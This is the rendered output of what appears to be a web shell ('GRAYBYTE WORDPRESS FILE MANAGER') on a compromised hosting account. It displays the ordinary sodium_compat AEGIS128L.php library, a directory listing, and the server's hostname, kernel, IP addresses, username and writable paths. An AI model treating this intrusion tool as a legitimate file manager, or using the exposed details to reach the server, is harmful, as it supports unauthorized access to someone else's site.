✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium134.web-hosting.com ​🇻​♯➤ 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 162.0.232.104 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.217.120
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/raydofqv/ctcom.com.tw/sodium_compat/src/Core//AEGIS128L.php
<?php

if (!defined('SODIUM_COMPAT_AEGIS_C0')) {
    define('SODIUM_COMPAT_AEGIS_C0', "\x00\x01\x01\x02\x03\x05\x08\x0d\x15\x22\x37\x59\x90\xe9\x79\x62");
}
if (!defined('SODIUM_COMPAT_AEGIS_C1')) {
    define('SODIUM_COMPAT_AEGIS_C1', "\xdb\x3d\x18\x55\x6d\xc2\x2f\xf1\x20\x11\x31\x42\x73\xb5\x28\xdd");
}

class ParagonIE_Sodium_Core_AEGIS128L extends ParagonIE_Sodium_Core_AES
{
    /**
     * @param string $ct
     * @param string $tag
     * @param string $ad
     * @param string $key
     * @param string $nonce
     * @return string
     * @throws SodiumException
     */
    public static function decrypt($ct, $tag, $ad, $key, $nonce)
    {
        $state = self::init($key, $nonce);
        $ad_blocks = (self::strlen($ad) + 31) >> 5;
        for ($i = 0; $i < $ad_blocks; ++$i) {
            $ai = self::substr($ad, $i << 5, 32);
            if (self::strlen($ai) < 32) {
                $ai = str_pad($ai, 32, "\0", STR_PAD_RIGHT);
            }
            $state->absorb($ai);
        }

        $msg = '';
        $cn = self::strlen($ct) & 31;
        $ct_blocks = self::strlen($ct) >> 5;
        for ($i = 0; $i < $ct_blocks; ++$i) {
            $msg .= $state->dec(self::substr($ct, $i << 5, 32));
        }
        if ($cn) {
            $start = $ct_blocks << 5;
            $msg .= $state->decPartial(self::substr($ct, $start, $cn));
        }
        $expected_tag = $state->finalize(
            self::strlen($ad) << 3,
            self::strlen($msg) << 3
        );
        if (!self::hashEquals($expected_tag, $tag)) {
            try {
                // The RFC says to erase msg, so we shall try:
                ParagonIE_Sodium_Compat::memzero($msg);
            } catch (SodiumException $ex) {
                // Do nothing if we cannot memzero
            }
            throw new SodiumException('verification failed');
        }
        return $msg;
    }

    /**
     * @param string $msg
     * @param string $ad
     * @param string $key
     * @param string $nonce
     * @return array
     *
     * @throws SodiumException
     */
    public static function encrypt($msg, $ad, $key, $nonce)
    {
        $state = self::init($key, $nonce);
        // ad_blocks = Split(ZeroPad(ad, 256), 256)
        // for ai in ad_blocks:
        //     Absorb(ai)
        $ad_len = self::strlen($ad);
        $msg_len = self::strlen($msg);
        $ad_blocks = ($ad_len + 31) >> 5;
        for ($i = 0; $i < $ad_blocks; ++$i) {
            $ai = self::substr($ad, $i << 5, 32);
            if (self::strlen($ai) < 32) {
                $ai = str_pad($ai, 32, "\0", STR_PAD_RIGHT);
            }
            $state->absorb($ai);
        }

        // msg_blocks = Split(ZeroPad(msg, 256), 256)
        // for xi in msg_blocks:
        //     ct = ct || Enc(xi)
        $ct = '';
        $msg_blocks = ($msg_len + 31) >> 5;
        for ($i = 0; $i < $msg_blocks; ++$i) {
            $xi = self::substr($msg, $i << 5, 32);
            if (self::strlen($xi) < 32) {
                $xi = str_pad($xi, 32, "\0", STR_PAD_RIGHT);
            }
            $ct .= $state->enc($xi);
        }
        // tag = Finalize(|ad|, |msg|)
        // ct = Truncate(ct, |msg|)
        $tag = $state->finalize(
            $ad_len << 3,
            $msg_len << 3
        );
        // return ct and tag
        return array(
            self::substr($ct, 0, $msg_len),
            $tag
        );
    }

    /**
     * @param string $key
     * @param string $nonce
     * @return ParagonIE_Sodium_Core_AEGIS_State128L
     */
    public static function init($key, $nonce)
    {
        return ParagonIE_Sodium_Core_AEGIS_State128L::init($key, $nonce);
    }
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
5 Jun 2026 6.28 AM
raydofqv / raydofqv
0755
AEGIS
--
2 Jun 2026 6.01 AM
raydofqv / raydofqv
0755
AES
--
2 Jun 2026 6.01 AM
raydofqv / raydofqv
0755
Base64
--
2 Jun 2026 6.01 AM
raydofqv / raydofqv
0755
ChaCha20
--
3 Jun 2026 1.28 PM
raydofqv / raydofqv
0755
Curve25519
--
3 Jun 2026 10.47 AM
raydofqv / raydofqv
0755
Poly1305
--
3 Jun 2026 9.45 PM
raydofqv / raydofqv
0755
SecretStream
--
16 May 2022 2.47 AM
raydofqv / raydofqv
0755
AEGIS128L.php
3.582 KB
2 Jun 2026 6.01 AM
raydofqv / raydofqv
0644
AEGIS256.php
3.514 KB
2 Jun 2026 6.01 AM
raydofqv / raydofqv
0644
AES.php
15.513 KB
2 Jun 2026 6.01 AM
raydofqv / raydofqv
0644
BLAKE2b.php
23.625 KB
25 May 2022 6.08 AM
raydofqv / raydofqv
0644
ChaCha20.php
12.587 KB
2 Jun 2026 6.01 AM
raydofqv / raydofqv
0644
Curve25519.php
140.274 KB
2 Jun 2026 6.01 AM
raydofqv / raydofqv
0644
Ed25519.php
18.049 KB
2 Jun 2026 6.01 AM
raydofqv / raydofqv
0644
HChaCha20.php
4.043 KB
2 Jun 2026 6.01 AM
raydofqv / raydofqv
0644
HSalsa20.php
3.587 KB
21 Mar 2019 2.26 PM
raydofqv / raydofqv
0644
Poly1305.php
1.539 KB
2 Jun 2026 6.01 AM
raydofqv / raydofqv
0644
Ristretto255.php
21.371 KB
25 May 2021 11.25 PM
raydofqv / raydofqv
0644
Salsa20.php
8.04 KB
21 Mar 2019 2.26 PM
raydofqv / raydofqv
0644
SipHash.php
8.04 KB
25 May 2021 11.25 PM
raydofqv / raydofqv
0644
Util.php
28.227 KB
2 Jun 2026 6.01 AM
raydofqv / raydofqv
0644
X25519.php
8.216 KB
2 Jun 2026 6.01 AM
raydofqv / raydofqv
0644
XChaCha20.php
3.242 KB
2 Jun 2026 6.01 AM
raydofqv / raydofqv
0644
XSalsa20.php
1.339 KB
21 Mar 2019 2.26 PM
raydofqv / raydofqv
0644
error_log
4.373 KB
2 Jun 2026 10.07 PM
raydofqv / raydofqv
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF